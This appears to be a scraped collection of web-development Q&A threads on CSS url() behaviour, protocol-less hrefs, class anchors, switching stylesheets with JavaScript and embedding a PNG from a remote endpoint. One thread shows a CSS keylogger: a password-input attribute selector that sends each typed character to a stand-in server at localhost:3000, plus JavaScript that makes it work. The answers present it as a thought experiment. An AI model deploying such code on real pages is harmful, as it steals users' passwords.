If the url() function in CSS is called without any parameters, does it send a request to the page's URL?
I am building an angular app and I have the following, rather naive code in my partial:
<div style="background-image: url({{scope.image_url}});">
{{scope.message_text}}
</div>
When the app loaded, I noticed that there was a call being made to my page's URL causing my server-side handlers to fire some analytics events incorrectly.
From my observation, I saw this behavior on Chrome & Firefox. However, I am not able to locate any documentation which states the behavior of the url() function when no argument is passed.
Please let me know if this is the correct behavior or if I am missing something.
As described by W3, the url() function expects a string as a parameter. Here in your case $scope.image_url was resolved to an empty string, which is a legal Relative URL, so browser will try to resolve this to a full URL, which in your case is base_url + ''.
You can verify that by change $scope.image_url = '1', then you can see one request to http://yourdomain/1.
To prevent this I would suggest you to create a fallback directive to show a default image if you don't have a image for this record, see this stackoverflow answer for more details
I think he's resolving your empty bind as url(undefined).. So He'll try to resolve the URL http://<domain>/path/to/your/page/undefined .
Do you initialize scope.image_url on page load?
To prevent this, I suggest to bind the entire style attribute, and not only the url() ... If there is no "empty" url(), I think it won't load a random request... Or if the background is only static, use CSS classes instead of style attribute...
Related
input[type="password"][value$="a"] {
background-image: url("http://localhost:3000/a");
}
const inp = document.querySelector("input");
inp.addEventListener("keyup", (e) => {
inp.setAttribute('value', inp.value)
});
Is what I've found but I don't think it works. How do I do it?
Edit: I realised that the CSS snippet won't work as typing in the input field will not change the value attribute of the html element. A JavaScript function is required to do this. Hence, include the last 3 lines of your snippet in a script tag and then it should work.
The CSS Keylogger was originally a thought experiment as explained in this LiveOverflow video. The snippet you are using is assuming that http://localhost:3000/ is a malicious Web server which records your HTTP requests.
In this case entering "a" on the keyboard (in the input field) would send a request to http://localhost:3000/a (for fetching the background image) which you may intercept as "a" on the Web server. You may write a NodeJS or Python Web server to intercept these requests and get the keystrokes.
I just have created primitive html page. Here it is: example
And here is its markup:
www.google.com
<br/>
http://www.google.com
As you can see it contains two links. The first one's href doesn't have 'http'-prefix and when I click this link browser redirects me to non-existing page https://fiddle.jshell.net/_display/www.google.com. The second one's href has this prefix and browser produces correct url http://www.google.com/. Is it possible to use hrefs such as www.something.com, without http(s) prefixes?
It's possible, and indeed you're doing it right now. It just doesn't do what you think it does.
Consider what the browser does when you link to this:
href="index.html"
What then would it do when you link to this?:
href="index.com"
Or this?:
href="www.html"
Or?:
href="www.index.com.html"
The browser doesn't know what you meant, it only knows what you told it. Without the prefix, it's going to follow the standard for the current HTTP address. The prefix is what tells it that it needs to start at a new root address entirely.
Note that you don't need the http: part, you can do this:
href="//www.google.com"
The browser will use whatever the current protocol is (http, https, etc.) but the // tells it that this is a new root address.
You can omit the protocol by using // in front of the path. Here is an example:
Google
By using //, you can tell the browser that this is actually a new (full) link, and not a relative one (relative to your current link).
I've created a little function in React project that could help you:
const getClickableLink = link => {
return link.startsWith("http://") || link.startsWith("https://") ?
link
: `http://${link}`;
};
And you can implement it like this:
const link = "google.com";
<a href={getClickableLink(link)}>{link}</a>
Omitting the the protocol by just using // in front of the path is a very bad idea in term of SEO.
Ok, most of the modern browsers will work fine. On the other hand, most of the robots will get in trouble scanning your site. Masjestic will not count the flow from those links. Audit tools, like SEMrush, will not be able to perform their jobs
Is it possible to make a link that would normally go to an id:
<a href="http://example.com/page#someid">
instead go to a class:
<a href="http://example.com/page.someclass">
Would the page scroll wildly up and down, trying to reach all the elements with that class, or would it just do nothing?
It would do nothing, except look for a file called "page.someclass" at the server and most probably yield a 404. Please refer to the URL spec because you're wildly confusing CSS selectors with the 'hash' part of the URL.
Why don't just try it?
JS FIDDLE DEMO
If you are using a class als anchor link, your browser tries to open it as url, like in the example named above index.content. Because he is not able to find it, you will receive an 404 not found or 403 forbidden error.
Basicly what I want to do is to change the stylesheet when the user selects the one they whant from a select box. To do that there would be a variable called $_SESSION['style']. What's the best way to change the variable when clicking it from the select box? (without clicking a submit button). Is it possible to change the stylesheet without reloading the whole page?
Thanksss! :)
Yes you can dynamically inject a CSS file when the select box is updated.
<select onchange="changecss(this.value);">
...
</select>
<script>
function changecss(value){
//based on the value, pick a style sheet here
var cssname='pick your own css file';
csl=document.createElement('link');
csl.setAttribute('rel','stylesheet');
csl.setAttribute('type','text/css');
csl.setAttribute('href',cssname);
document.getElementsByTagName("head").item(0).appendChild(csl);
}
</script>
Edit:
I have seen code that directly change the src value of the current css inclusion. This doesn't not work in some versions of IE, because the browser is not "notified" of a DOM change, and your page is therefore unaffected. Inserting new CSS node in the DOM works more reliably.
With this Ajax wrapper you can dynamically load the CSS file in one line:
<script src="http://www.antradar.com/nano.js"></script>
<script>
ajxcss(self.cssloader,'newcss.css');
</script>
Since PHP is a server-side language that cannot update the data in the user's browser (no "push"), you need a client-side script for the change of the stylesheet without having to reload the page. Changing the stylesheet is possible with javascript. Because your stylesheet filename is stored in a (server-side) session variable, you've got 2 options:
Render the filename into the site (e.g. by echoing it into the javascript code as a variable), so that it can be used by the client side script.
Use an ajax call from the client side script, to get the filename from a PHP script ("pull"), that ouputs the session variable.
However, this might be too much overhead*. Maybe you should consider hardcoding the stylesheet filename into the javascript.
*) if you are using a javascript framework like jQuery or MooTools such things can be implemented easily...
Edit: I just recognized, that you've got a selectbox of items. In this case you surely want to go with the first option: Create the selectbox via PHP and for example use the filenames of the stylesheets as the values. You can than use javascript to change the stylesheet when a onSelectedIndexChanged happens.
I want to embed an HTTP call which returns a png image into an html page.
I will run the page on github's gh-pages if that makes a difference.
The url is: http://public.opencpu.org/R/user/SChamberlain/ropensci_dash/apistatus10/png
Note that sometimes the url doesn't return the png as the service is sometimes down.
I want to call that url using POST method, and simply return the png into the page. Ideally the http call would be run on page recycle as well.
Do I use an iframe, form, javascript?
Thanks! Scott
[I might as well answer properly]
When a server is feeding you image data and you want to load it, you might as well treat it like an image and use an img tag. The problem with this approach in your particular case is that you said that the server can sometimes be down and this would mean that if you simply appended the image without checking for a broken link first you will get that ugly broken image space.
However, the simplicity of using an image is still feasible. By using a little javascript with a load event handler you can append the image if and only if it loads successfully. If you get any kind of error code from the request the load event will never fire and you won't append a broken image.
Here's the concept in vanilla-js:
img = document.createElement("img");
img.onload = function(e){document.getElementsByTagName("body")[0].appendChild(img);};
img.src = "http://public.opencpu.org/R/user/SChamberlain/ropensci_dash/apistatus10/png";
You can also see it in action here: http://jsfiddle.net/BwJeC/
You could use XHR to load the binary data from the external, dynamic page and set the content of the image.
This question, is very much similar
Or this
I really don't understand why you want to POST.
Anyway if you want to query a picture with a POST data you could, may have to do a Js XHR call and return the the image as base64 and then do something like:
<img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAUA
AAAFCAYAAACNbyblAAAAHElEQVQI12P4//8/w38GIAXDIBKE0DHxgljNBAAO
9TXL0Y4OHwAAAABJRU5ErkJggg==" />
The best would still be to to a simple get call:
<img src="/dynamicallyGeneratedPicture" />
with a route or script that return a document of type image.